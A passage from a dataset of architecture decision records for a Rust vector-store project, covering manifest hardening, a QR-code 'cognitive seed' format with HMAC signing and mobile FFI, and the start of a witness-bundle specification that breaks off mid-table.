create_signed(\n path: &Path,\n options: RvfOptions,\n signing_key: &MlDsa65SigningKey,\n ) -> Result;\n}\n```\n\n#### 4.5 Runtime Policy Flag\n\nThe security policy is set at store open time and cannot be downgraded:\n\n```rust\nlet store = RvfStore::open_with_policy(\n &path,\n RvfOptions::default(),\n SecurityPolicy::Strict,\n)?;\n```\n\nA store opened with `Strict` policy will reject any hotset pointer that fails content hash verification, even if the CRC32C passes. This prevents the segment-swap attack identified in the analysis.\n\n---\n\n## Consequences\n\n### Positive\n\n- Centroid stability becomes a **logical invariant**, not a physical accident\n- Adversarial distribution degradation becomes **detectable and bounded**\n- Recall claims become **honest** \u2014 empirical targets with explicit assumptions\n- Manifest integrity becomes **mandatory by default** \u2014 enterprises are secure without configuration\n- Quality elasticity replaces silent degradation \u2014 the system tells you when it's uncertain\n\n### Negative\n\n- Level 0 layout change is **breaking** (version 1 -> version 2)\n- Content hash computation adds ~50 microseconds per manifest write\n- Strict signature policy adds ~200 microseconds per file open (ML-DSA-65 verify)\n- Adaptive n_probe increases query latency by up to 4x under degenerate distributions\n\n### Migration\n\n- Level 0 version field (`0x004`) distinguishes v1 (pre-ADR-033) from v2\n- v1 files are readable under `Permissive` policy (no content hashes, no signature)\n- v1 files trigger a warning under `WarnOnly` policy\n- v1 files are rejected under `Strict` policy unless explicitly migrated\n- Migration tool: `rvf migrate --sign --key ` rewrites manifest with v2 layout\n\n---\n\n## Size Impact\n\n| Component | Additional Bytes | Where |\n|-----------|-----------------|-------|\n| Content hashes (5 pointers * 16 bytes) | 80 B | Level 0 manifest |\n| Centroid epoch + drift fields | 8 B | Level 0 manifest |\n| ResponseQuality + DegradationReason | ~64 B | Per query response |\n| SecurityPolicy in options | 1 B | Runtime config |\n| Total Level 0 overhead | 96 B | Within existing 4096 B page |\n\nNo additional segments. No file size increase beyond the 96 bytes in Level 0.\n\n---\n\n## Implementation Order\n\n| Phase | Component | Estimated Effort |\n|-------|-----------|-----------------|\n| 1 | Content hash fields in `rvf-types` Level 0 layout | Small |\n| 2 | `centroid_epoch` + `max_epoch_drift` in manifest | Small |\n| 3 | `ResultQuality` enum in `rvf-runtime` | Small |\n| 4 | `is_degenerate_distribution()` + adaptive n_probe | Medium |\n| 5 | Content hash verification in read path | Medium |\n| 6 | `SecurityPolicy` enum + enforcement in open path | Medium |\n| 7 | ML-DSA-65 signing in write path | Large (depends on rvf-crypto) |\n| 8 | Brute-force safety net in query path | Medium |\n| 9 | Acceptance test updates (3 distribution classes) | Medium |\n| 10 | Migration tool (`rvf migrate --sign`) | Medium |\n\n---\n\n## References\n\n- RVF Spec 02: Manifest System (hotset pointers, Level 0 layout)\n- RVF Spec 04: Progressive Indexing (Layer A/B/C recall targets)\n- RVF Spec 03: Temperature Tiering (centroid refresh, sketch epochs)\n- ADR-029: RVF Canonical Format (universal adoption across libraries)\n- ADR-030: Cognitive Container (three-tier execution model)\n- FIPS 204: ML-DSA (Module-Lattice Digital Signature Algorithm)\n- Malkov & Yashunin (2018): HNSW search complexity analysis", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-033-progressive-indexing-hardening.md", "created_at": "2026-03-28T11:58:49.232771+00:00", "content_hash": "e6967ce17c62667b76e03e41a81fdb123c096e9730291cd83ddffcf8af90eb4f"} +{"id": "06423699-e546-45bb-b40d-5b70993d5925", "source": "adr", "text": "# ADR-034: QR Cognitive Seed \u2014 A World Inside a World\n\n**Status**: Implemented\n**Date**: 2026-02-15\n**Depends on**: ADR-029 (RVF Canonical Format), ADR-030 (Cognitive Container), ADR-033 (Progressive Indexing Hardening)\n**Affects**: `rvf-types`, `rvf-runtime`\n**Zero external dependencies**: All crypto, compression, and FFI implemented from scratch.\n\n---\n\n## Context\n\nRVF files are self-bootstrapping cognitive containers: they carry their own WASM interpreter, signed manifests, and progressive index layers. But distribution still assumes a filesystem \u2014 a URL, a disk, a cloud bucket.\n\nWhat if intelligence could live in printed ink?\n\nA QR code can carry up to 2,953 bytes (Version 40, Low EC). That's enough for:\n- A 64-byte RVQS header\n- A 5.5 KB WASM microkernel (LZ-compressed to ~2.1 KB)\n- A 32-byte HMAC-SHA256 signature\n- A 500-byte progressive download manifest with host URLs + content hashes\n\n**Total seed: ~2,700 bytes. Fits in a single QR code with 229 bytes headroom.**\n\nThe result: scan a QR code and mount a portable brain. The AI literally exists in the data printed on a piece of paper. Offline-first, signed, verifiable, capable of bootstrapping into a streamed universe.\n\n---\n\n## Decision\n\n### 1. QR Seed Format (RVQS \u2014 RuVector QR Seed)\n\nA QR Cognitive Seed is a binary payload with this wire format:\n\n```\nOffset Size Field Description\n------ ---- ----- -----------\n0x000 4 seed_magic 0x52565153 (\"RVQS\")\n0x004 2 seed_version Seed format version (1)\n0x006 2 flags Seed flags (see below)\n0x008 8 file_id Unique identifier for this seed\n0x010 4 total_vector_count Expected vectors when fully loaded\n0x014 2 dimension Vector dimensionality\n0x016 1 base_dtype Base data type (DataType enum)\n0x017 1 profile_id Domain profile\n0x018 8 created_ns Seed creation timestamp (nanos)\n0x020 4 microkernel_offset Offset to WASM microkernel data\n0x024 4 microkernel_size Compressed microkernel size\n0x028 4 download_manifest_offset Offset to download manifest\n0x02C 4 download_manifest_size Download manifest size\n0x030 2 sig_algo Signature algorithm (0=Ed25519, 1=ML-DSA-65, 2=HMAC-SHA256)\n0x032 2 sig_length Signature byte length\n0x034 4 total_seed_size Total payload size in bytes\n0x038 8 content_hash SHA-256-64 of microkernel+manifest data\n0x040 var microkernel_data LZ-compressed WASM microkernel\n... var download_manifest Progressive download manifest (TLV)\n... var signature Seed signature (covers 0x000..sig start)\n```\n\n#### 1.1 Seed Flags\n\n```\nBit Name Description\n--- ---- -----------\n0 SEED_HAS_MICROKERNEL Embedded WASM microkernel present\n1 SEED_HAS_DOWNLOAD Progressive download manifest present\n2 SEED_SIGNED Payload is signed\n3 SEED_OFFLINE_CAPABLE Seed is useful without network access\n4 SEED_ENCRYPTED Payload is encrypted (key in TEE or passphrase)\n5 SEED_COMPRESSED Microkernel is LZ-compressed\n6 SEED_HAS_VECTORS Seed contains inline vector data (tiny model)\n7 SEED_STREAM_UPGRADE Seed can upgrade itself via streaming\n```\n\n#### 1.2 Signature Algorithms\n\n| ID | Algorithm | Size | Dependencies | Use Case |\n|----|-----------|------|--------------|----------|\n| 0 | Ed25519 | 64 B | `ed25519-dalek` | Asymmetric, production |\n| 1 | ML-DSA-65 | 3,309 B | `pqcrypto` | Post-quantum (requires 2-QR) |\n| 2 | HMAC-SHA256 | 32 B | **None** (built-in) | Symmetric, zero-dep default |\n\n**sig_algo=2 (HMAC-SHA256) is implemented from scratch with zero external dependencies.**\n\n### 2. Progressive Download Manifest\n\nThe download manifest tells the runtime how to grow from seed to full intelligence. It uses a TLV structure:\n\n```\nTag Length Description\n------ ------ -----------\n0x0001 var HostEntry: Primary download host\n0x0002 var HostEntry: Fallback host (up to 3)\n0x0003 32 content_hash: SHA-256 of the full RVF file\n0x0004 8 total_file_size: Expected size of the full RVF\n0x0005 var LayerManifest: Progressive layer download order\n0x0006 16 session_token: Ephemeral auth token for download\n0x0007 4 ttl_seconds: Token expiry\n0x0008 var CertPin: TLS certificate pin (SHA-256 of SPKI)\n```\n\n**Default layer order:**\n\n| Priority | Layer | Size | Purpose |\n|----------|-------|------|---------|\n| 0 | Level 0 manifest | 4 KB | Instant boot |\n| 1 | Hot cache (centroids + entry points) | ~50 KB | First query capability |\n| 2 | HNSW Layer A | ~200 KB | recall >= 0.70 |\n| 3 | Quantization dictionaries | ~100 KB | Compact search |\n| 4 | HNSW Layer B | ~500 KB | recall >= 0.85 |\n| 5 | Full vectors (warm tier) | variable | Full recall |\n| 6 | HNSW Layer C | variable | recall >= 0.95 |\n\n### 3. Bootstrap Sequence\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 QR Code (\u22642,953 bytes) \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RVQS Hdr \u2502 WASM \u03bckernel \u2502 DL Manifest\u2502 HMAC-SHA256 Sig \u2502 \u2502\n\u2502 \u2502 64 bytes \u2502 ~2.1 KB (LZ) \u2502 ~500 bytes \u2502 32 bytes \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Phase 0: Scan & Verify (offline, <1ms) \u2502\n\u2502 1. Parse RVQS header, validate magic 0x52565153 \u2502\n\u2502 2. Verify content hash: SHA-256(\u03bckernel \u2016 manifest)[0..8] \u2502\n\u2502 3. Verify HMAC-SHA256 signature (constant-time comparison) \u2502\n\u2502 4. Decompress WASM microkernel (built-in LZ decompressor) \u2502\n\u2502 5. Instantiate WASM runtime \u2502\n\u2502 6. Seed is now ALIVE \u2014 cognitive kernel running \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc (if network available)\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Phase 1: Progressive Download (background, priority-ordered) \u2502\n\u2502 1. Fetch Level 0 manifest (4 KB) \u2192 instant full boot \u2502\n\u2502 2. Fetch hot cache \u2192 first query capability (50% recall) \u2502\n\u2502 3. Fetch HNSW Layer A \u2192 recall \u2265 0.70 \u2502\n\u2502 4. Fetch remaining layers in priority order \u2502\n\u2502 Each layer: verify SHA-256-128 content_hash \u2192 append \u2192 index \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Phase 2: Full Intelligence \u2502\n\u2502 1. All layers downloaded and verified \u2502\n\u2502 2. Full HNSW index active, recall \u2265 0.95 \u2502\n\u2502 3. Seed has grown into a complete cognitive container \u2502\n\u2502 4. Can operate fully offline from this point \u2502\n\u2502 5. Can re-export as a new QR seed (with updated vectors) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### 4. Security Model\n\n#### 4.1 Built-in Cryptography (Zero Dependencies)\n\nAll cryptographic primitives are implemented from scratch in pure Rust:\n\n| Primitive | Implementation | Location | Tests |\n|-----------|---------------|----------|-------|\n| SHA-256 | FIPS 180-4 | `rvf-types/src/sha256.rs` | 11 (incl. NIST + RFC 4231 vectors) |\n| HMAC-SHA256 | RFC 2104 | `rvf-types/src/sha256.rs` | 3 RFC 4231 test cases |\n| Constant-time compare | XOR accumulator | `rvf-types/src/sha256.rs` | 2 |\n| LZ compression | SCF-1 (4KB window) | `rvf-runtime/src/compress.rs` | 11 |\n| Content hashing | SHA-256 truncated | `rvf-runtime/src/seed_crypto.rs` | 10 |\n\n**Signature verification flow:**\n\n```rust\nlet parsed = ParsedSeed::parse(&payload)?;\n\n// Full verification: magic + content hash + HMAC signature.\nparsed.verify_all(signing_key, &payload)?;\n\n// Or step by step:\nassert!(parsed.verify_content_hash());\nparsed.verify_signature(signing_key, &payload)?;\nlet wasm = parsed.decompress_microkernel()?;\n```\n\n#### 4.2 Content Integrity\n\n- **Seed content hash**: SHA-256(microkernel \u2016 manifest) truncated to 64 bits. Stored in header at offset 0x38.\n- **Layer content hashes**: SHA-256 of each layer truncated to 128 bits. Verified on download.\n- **Full file hash**: SHA-256 of the complete RVF file. Stored in manifest TLV tag 0x0003.\n\n#### 4.3 Download Security\n\n1. **Content hashes**: Each layer has a SHA-256-128 hash. Downloaded data is verified before use.\n2. **TLS certificate pinning**: SHA-256 of host's SPKI. Prevents MITM even if a CA is compromised.\n3. **Session tokens**: Ephemeral 16-byte auth tokens with TTL.\n4. **Host key verification**: Each HostEntry contains the host's public key hash.\n\n### 5. Mobile Integration\n\n#### 5.1 iOS App Clip \u2014 Scan. Boot. Intelligence.\n\nThe strongest UX story: QR opens an App Clip instantly, no install.\n\n```\nUser scans QR with iOS Camera\n \u2502\n \u25bc\niOS launches App Clip instantly (no App Store, no login)\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 App Clip (~50 KB RVF static library) \u2502\n\u2502 \u2502\n\u2502 1. rvqs_parse_header() \u2014 read RVQS \u2502\n\u2502 2. rvqs_verify_signature() \u2014 HMAC \u2502\n\u2502 3. rvqs_verify_content_hash() \u2014 SHA256 \u2502\n\u2502 4. rvqs_decompress_microkernel() \u2014 LZ \u2502\n\u2502 5. Mount WASM runtime \u2502\n\u2502 6. rvqs_get_primary_host_url() \u2502\n\u2502 7. Stream layers \u2192 progressive recall \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\nUser sees intelligence in <2 seconds\nOptional: \"Get Full App\" upgrade path\n```\n\nThe App Clip contains the compiled `rvf-runtime` as a static library linked via C FFI:\n\n```swift\n// Swift calling the Rust FFI\nvar header = RvqsHeaderC()\nlet rc = rvqs_parse_header(qrData.baseAddress, qrData.count, &header)\nguard rc == RVQS_OK else { return }\n\nlet verifyRc = rvqs_verify_signature(qrData.baseAddress, qrData.count,\n key.baseAddress, key.count)\nguard verifyRc == RVQS_OK else { showError(\"Invalid signature\"); return }\n```\n\n**Build for iOS:**\n```bash\ncargo build --release --target aarch64-apple-ios --lib\ncargo build --release --target aarch64-apple-ios-sim --lib\n```\n\n#### 5.2 Web App \u2014 Zero App Store\n\nFor zero App Store involvement, the QR URL opens a Progressive Web App:\n\n```\nQR contains: https://brain.ruvector.ai/s/{seed-id}\n \u2502\n \u25bc\nBrowser opens instantly (Safari, Chrome)\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 PWA with WASM RVF Loader \u2502\n\u2502 \u2502\n\u2502 1. Fetch RVQS seed from URL path \u2502\n\u2502 2. Parse + verify in WASM \u2502\n\u2502 3. Decompress microkernel \u2502\n\u2502 4. Stream layers via fetch() API \u2502\n\u2502 5. Render intelligence in browser \u2502\n\u2502 \u2502\n\u2502 Works offline via Service Worker cache \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Build for WASM:**\n```bash\ncargo build --release --target wasm32-unknown-unknown --lib\n```\n\nThe RVF loader compiles to ~50 KB WASM. Service Worker caches the loader + downloaded layers for offline use.\n\n#### 5.3 Android\n\nSame C FFI approach, compiled for NDK targets:\n\n```bash\ncargo build --release --target aarch64-linux-android --lib\n```\n\nCalled from Kotlin via JNI or from a WebView with the WASM build.\n\n#### 5.4 Delivery Comparison\n\n| Method | Install Required | App Store Review | Boot Time | Offline |\n|--------|-----------------|-----------------|-----------|---------|\n| App Clip (iOS) | No | Yes (light) | <1s | Yes |\n| PWA / Web App | No | No | ~2s | Yes (SW) |\n| Android Instant App | No | Yes | <1s | Yes |\n| Full native app | Yes | Yes | N/A | Yes |\n\n### 6. C FFI Reference\n\nThe following `extern \"C\"` functions are exported for mobile integration:\n\n```c\n// Parse the 64-byte header from a QR seed payload.\nint rvqs_parse_header(const uint8_t* data, size_t data_len, RvqsHeaderC* out);\n\n// Verify HMAC-SHA256 signature. Returns RVQS_OK (0) or error code.\nint rvqs_verify_signature(const uint8_t* data, size_t data_len,\n const uint8_t* key, size_t key_len);\n\n// Verify content hash integrity. Returns RVQS_OK (0) or error code.\nint rvqs_verify_content_hash(const uint8_t* data, size_t data_len);\n\n// Decompress the embedded microkernel into caller's buffer.\nint rvqs_decompress_microkernel(const uint8_t* data, size_t data_len,\n uint8_t* out, size_t out_cap, size_t* out_len);\n\n// Extract the primary download URL from the manifest.\nint rvqs_get_primary_host_url(const uint8_t* data, size_t data_len,\n uint8_t* url_buf, size_t url_cap, size_t* url_len);\n```\n\n**Error codes:**\n\n| Code | Name | Meaning |\n|------|------|---------|\n| 0 | RVQS_OK | Success |\n| -1 | RVQS_ERR_NULL_PTR | Null pointer argument |\n| -2 | RVQS_ERR_TOO_SHORT | Payload smaller than header |\n| -3 | RVQS_ERR_BAD_MAGIC | Invalid RVQS magic bytes |\n| -4 | RVQS_ERR_SIGNATURE_INVALID | Signature verification failed |\n| -5 | RVQS_ERR_HASH_MISMATCH | Content hash doesn't match data |\n| -6 | RVQS_ERR_DECOMPRESS_FAIL | LZ decompression failed |\n| -7 | RVQS_ERR_BUFFER_TOO_SMALL | Caller's buffer too small |\n| -8 | RVQS_ERR_PARSE_FAIL | General parse failure |\n\n### 7. Size Budget (Actual Measured)\n\n```\nComponent Raw Size Compressed In QR\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\nRVQS Header 64 B 64 B 64 B\nWASM Microkernel 5,500 B 2,095 B 2,095 B\nDownload Manifest (2 hosts) 496 B 496 B 496 B\nHMAC-SHA256 Signature 32 B 32 B 32 B\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\nTotal (measured) 2,687 B\n\nQR Version 40, Low EC capacity: 2,953 B\nRemaining headroom: 266 B\n```\n\n### 8. Example Use Cases\n\n#### 8.1 Business Card Brain\n\nPrint a QR code on a business card. Scan it to mount a personal AI assistant that knows your work, your papers, your projects. Offline-first. When connected, it streams your full knowledge base.\n\n#### 8.2 Medical Record Seed\n\nA QR code on a patient wristband contains a signed seed pointing to their medical vector index. Scan to query drug interactions, allergies, treatment history. Works offline in the ER.\n\n#### 8.3 Firmware Intelligence\n\nEmbedded in a product's QR code: a cognitive seed that can diagnose problems, suggest fixes, and stream updated knowledge from the manufacturer.\n\n#### 8.4 Paper Backup\n\nPrint your AI's seed on paper. Store it in a safe. In a disaster, scan the paper and your AI bootstraps from printed ink. The signature proves it's yours.\n\n#### 8.5 Conference Badge\n\nNFC/QR on a conference badge. Tap to mount the speaker's research brain. Walk around, scan badges, collect intelligences. Each one is signed by the speaker.\n\n---\n\n## Implementation\n\n### Files\n\n| File | Lines | Purpose |\n|------|-------|---------|\n| `rvf-types/src/sha256.rs` | 230 | Pure SHA-256 (FIPS 180-4) + HMAC-SHA256 (RFC 2104) |\n| `rvf-types/src/qr_seed.rs` | 370 | RVQS wire format types, SeedHeader, LayerEntry, HostEntry |\n| `rvf-runtime/src/compress.rs` | 210 | LZ77 compression (SCF-1 format, 4KB window) |\n| `rvf-runtime/src/seed_crypto.rs` | 100 | Sign, verify, content/layer hashing |\n| `rvf-runtime/src/qr_seed.rs` | 1050 | SeedBuilder, ParsedSeed, TLV manifest, bootstrap progress |\n| `rvf-runtime/src/ffi.rs` | 240 | C FFI for App Clip / mobile (5 exported functions) |\n| `rvf-runtime/examples/qr_seed_bootstrap.rs` | 250 | Full demo: build \u2192 sign \u2192 parse \u2192 verify \u2192 decompress \u2192 bootstrap |\n| `rvf-runtime/tests/qr_seed_e2e.rs` | 220 | 11 end-to-end integration tests |\n\n### Test Coverage\n\n| Module | Tests | Verified Against |\n|--------|-------|-----------------|\n| SHA-256 | 11 | NIST FIPS 180-4 test vectors |\n| HMAC-SHA256 | 3 | RFC 4231 test cases 1, 2, 5 |\n| LZ compression | 11 | Round-trip + WASM patterns |\n| Seed crypto | 10 | Sign/verify/tamper detection |\n| QR seed types | 9 | Header round-trip, flags, magic |\n| QR seed runtime | 12 | Builder, parser, manifest TLV |\n| C FFI | 7 | Parse, verify, decompress, URL extract |\n| E2E integration | 11 | Full pipeline with real crypto |\n\n**Total: 74 QR seed tests, all passing.**\n\n---\n\n## Consequences\n\n### Positive\n\n- Intelligence becomes **physically portable** \u2014 printed on paper, etched in metal, tattooed on skin\n- **Zero external dependencies** \u2014 SHA-256, HMAC, LZ compression, FFI all built from scratch\n- **Mobile-first** \u2014 App Clip (iOS), PWA (web), Instant App (Android) all supported via C FFI\n- **Offline-first** by design \u2014 the seed is useful before any network access\n- **Cryptographically verified** \u2014 HMAC-SHA256 signatures with constant-time comparison\n- **Progressive loading** \u2014 first query at 50% recall after 6% download\n- **Self-upgrading** \u2014 a seed can re-export itself with new knowledge\n\n### Negative\n\n- QR capacity limits seed size to ~2,900 bytes\n- HMAC-SHA256 requires a shared secret (symmetric); for asymmetric signatures, add `ed25519-dalek` as optional dep\n- Download manifest URLs have finite TTL \u2014 seeds expire unless hosts are stable\n- Built-in LZ compression is simpler than Brotli (~1.4-2.5x vs ~3-4x ratio)\n\n### Migration\n\n- Existing RVF files can generate QR seeds via `SeedBuilder::new().compress_microkernel(&wasm).build_and_sign(key)`\n- QR seeds bootstrap into standard RVF files \u2014 no special runtime needed\n- Seeds are forward-compatible: unknown TLV tags are ignored by older runtimes\n\n---\n\n## References\n\n- QR Code Specification: ISO/IEC 18004:2015\n- SHA-256: FIPS 180-4\n- HMAC: RFC 2104\n- HMAC-SHA256 Test Vectors: RFC 4231\n- Apple App Clips: developer.apple.com/app-clips\n- RVF Spec 02: Manifest System (Level 0 / Level 1)\n- RVF Spec 11: WASM Self-Bootstrapping\n- ADR-029: RVF Canonical Format\n- ADR-030: Cognitive Container\n- ADR-033: Progressive Indexing Hardening", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-034-qr-cognitive-seed.md", "created_at": "2026-03-28T11:58:49.232975+00:00", "content_hash": "f92422267019ba0c7067bc6721bbfece71fe8a354c2222e1490ba83a4dd18bc4"} +{"id": "ff8fd453-f9d7-4a9d-a4fe-61291f8fc25c", "source": "adr", "text": "# ADR-035: Capability Report \u2014 Witness Bundles, Scorecards, and Governance\n\n**Status**: Implemented\n**Date**: 2026-02-15\n**Depends on**: ADR-034 (QR Cognitive Seed), SHA-256, HMAC-SHA256\n\n## Context\n\nClaims without evidence are noise. This ADR defines the proof infrastructure:\na signed, self-contained witness bundle per task execution, aggregated into\ncapability scorecards, and governed by enforceable policy modes.\n\nThe acceptance test: run 100 real repo issues with a fixed policy.\n\"Prove capability\" means 60+ solved with passing tests, zero unsafe actions,\nand every solved task has a replayable witness bundle.\n\n## 1. Witness Bundle\n\n### 1.1 Wire Format\n\nA witness bundle is a binary blob: 64-byte header + TLV sections + optional\n32-byte HMAC-SHA256 signature.\n\n```\n+-------------------+-------------------+-------------------+\n| WitnessHeader | TLV Sections | Signature (opt) |\n| 64 bytes | variable | 32 bytes |\n+-------------------+-------------------+-------------------+\n```\n\n### 1.2 Header Layout (64 bytes, `repr(C)`)\n\n| Offset | Type | Field |\n|--------|-----------|--------------------------|\n| 0x00 | u32 | magic (0x52575657 \"RVWW\")|\n| 0x04 | u16 | version (1) |\n| 0x06 | u16 | flags |\n| 0x08 | [u8; 16] | task_id (UUID) |\n| 0x18 | [u8; 8] | policy_hash |\n| 0x20 | u64 | created_ns |\n| 0x28 | u8 | outcome |\n| 0x29 | u8 | governance_mode |\n| 0x2A | u16 | tool_call_count |\n| 0x2C | u32 | total_cost_microdollars |\n| 0x30 | u32 | total_latency_ms |\n| 0x34 | u32 | total_tokens |\n| 0x38 | u16 | retry_count |\n| 0x3A | u16 | section_count |\n| 0x3C | u32 | total_bundle_size |\n\n### 1.3 TLV Sections\n\nEach section: `tag(u16) + length(u32) + value(length bytes)`.\n\n| Tag | Name | Content |\n|--------|---------------|----------------------------------------------|\n| 0x0001 | SPEC | Task prompt / issue text (UTF-8) |\n| 0x0002 | PLAN | Plan graph (text or structured) |\n| 0x0003 | TRACE | Array of ToolCallEntry records |\n| 0x0004 | DIFF | Unified diff output |\n| 0x0005 | TEST_LOG | Test runner output |\n| 0x0006 | 